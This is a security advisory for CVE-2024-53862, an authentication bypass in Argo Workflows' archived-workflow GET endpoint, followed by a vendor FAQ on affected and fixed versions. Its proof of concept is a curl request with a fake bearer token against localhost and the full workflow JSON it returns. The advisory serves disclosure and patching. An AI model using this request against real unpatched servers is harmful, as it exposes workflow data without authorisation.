CVE-2024-53862

When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

Details

No authentication is performed by the Server itself on client tokens[^1]. Authentication & authorization is instead delegated to the k8s API server.
However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.

PoC

Configuration

Controller ConfigMap:

  config: |
    persistence:
      archive: true
      postgresql:
        database: argoworkflows
        host: db-host
        passwordSecret:
          key: postgresPassword
          name: argo-wf-postgres-credentials
        port: 5432
        tableName: argo_workflows
        userNameSecret:
          key: username
          name: argo-wf-postgres-credentials

Server: --auth-mode=client

Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):

curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g

* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
    "metadata": {
        "name": "hello-world-7tv5g",
        "generateName": "hello-world-",
        "namespace": "argo",
        "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
        "resourceVersion": "9982",
        "generation": 3,
        "creationTimestamp": "2024-08-13T23:59:20Z",
        "labels": {
            "workflows.argoproj.io/archive-strategy": "false",
            "workflows.argoproj.io/completed": "true",
            "workflows.argoproj.io/phase": "Succeeded",
            "workflows.argoproj.io/workflow-archiving-status": "Persisted"
        },
        "annotations": {
            "workflows.argoproj.io/description": "This is a simple hello world example.\n",
            "workflows.argoproj.io/pod-name-format": "v2"
        },
        "managedFields": [
            {
                "manager": "argo",
                "operation": "Update",
                "apiVersion": "argoproj.io/v1alpha1",
                "time": "2024-08-13T23:59:20Z",
                "fieldsType": "FieldsV1",
                "fieldsV1": {
                    "f:metadata": {
                        "f:annotations": {
                            ".": {},
                            "f:workflows.argoproj.io/description": {}
                        },
                        "f:generateName": {},
                        "f:labels": {
                            ".": {},
                            "f:workflows.argoproj.io/archive-strategy": {}
                        }
                    },
                    "f:spec": {}
                }
            },
            {
                "manager": "workflow-controller",
                "operation": "Update",
                "apiVersion": "argoproj.io/v1alpha1",
                "time": "2024-08-13T23:59:30Z",
                "fieldsType": "FieldsV1",
                "fieldsV1": {
                    "f:metadata": {
                        "f:annotations": {
                            "f:workflows.argoproj.io/pod-name-format": {}
                        },
                        "f:labels": {
                            "f:workflows.argoproj.io/completed": {},
                            "f:workflows.argoproj.io/phase": {},
                            "f:workflows.argoproj.io/workflow-archiving-status": {}
                        }
                    },
                    "f:status": {}
                }
            }
        ]
    },
    "spec": {
        "templates": [
            {
                "name": "hello-world",
                "inputs": {},
                "outputs": {},
                "metadata": {},
                "container": {
                    "name": "",
                    "image": "busybox",
                    "command": [
                        "echo"
                    ],
                    "args": [
                        "hello world"
                    ],
                    "resources": {}
                }
            }
        ],
        "entrypoint": "hello-world",
        "arguments": {},
        "serviceAccountName": "argo-workflow"
    },
    "status": {
        "phase": "Succeeded",
        "startedAt": "2024-08-13T23:59:20Z",
        "finishedAt": "2024-08-13T23:59:30Z",
        "progress": "1/1",
        "nodes": {
            "hello-world-7tv5g": {
                "id": "hello-world-7tv5g",
                "name": "hello-world-7tv5g",
                "displayName": "hello-world-7tv5g",
                "type": "Pod",
                "templateName": "hello-world",
                "templateScope": "local/hello-world-7tv5g",
                "phase": "Succeeded",
                "startedAt": "2024-08-13T23:59:20Z",
                "finishedAt": "2024-08-13T23:59:24Z",
                "progress": "1/1",
                "resourcesDuration": {
                    "cpu": 0,
                    "memory": 3
                },
                "outputs": {
                    "exitCode": "0"
                },
                "hostNodeName": "kind-control-plane"
            }
        },
        "conditions": [
            {
                "type": "PodRunning",
                "status": "False"
            },
            {
                "type": "Completed",
                "status": "True"
            }
        ],
        "resourcesDuration": {
            "cpu": 0,
            "memory": 3
        },
        "artifactRepositoryRef": {
            "default": true,
            "artifactRepository": {}
        },
        "artifactGCStatus": {
            "notSpecified": true
        },
        "taskResultsCompletionStatus": {
            "hello-world-7tv5g": true
        }
    }
}%

Users of the Server with --auth-mode=client and with persistence.archive: true are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.

Users of the Server with --auth-mode=sso and with persistence.archive: true are vulnerable to users being able to access workflows they could not access before archiving.

[^1]: sso tokens, on the other hand, are immediately "authorized". The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the client tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for client tokens via the k8s API server.

Kodem intelligence

1. What is CVE-2024-53862? CVE-2024-53862 is a medium-severity security vulnerability in github.com/argoproj/argo-workflows/v3 (go), affecting versions >= 3.5.7, < 3.5.13. It is fixed in 3.5.13, 3.6.2.
2. Which versions of github.com/argoproj/argo-workflows/v3 are affected by CVE-2024-53862? github.com/argoproj/argo-workflows/v3 (go) versions >= 3.5.7, < 3.5.13 is affected.
3. Is there a fix for CVE-2024-53862? Yes. CVE-2024-53862 is fixed in 3.5.13, 3.6.2. Upgrade to this version or later.
4. Is CVE-2024-53862 exploitable, and should I be worried? Whether CVE-2024-53862 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2024-53862 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2024-53862?
   • Upgrade github.com/argoproj/argo-workflows/v3 to 3.5.13 or later
   • Upgrade github.com/argoproj/argo-workflows/v3 to 3.6.2 or later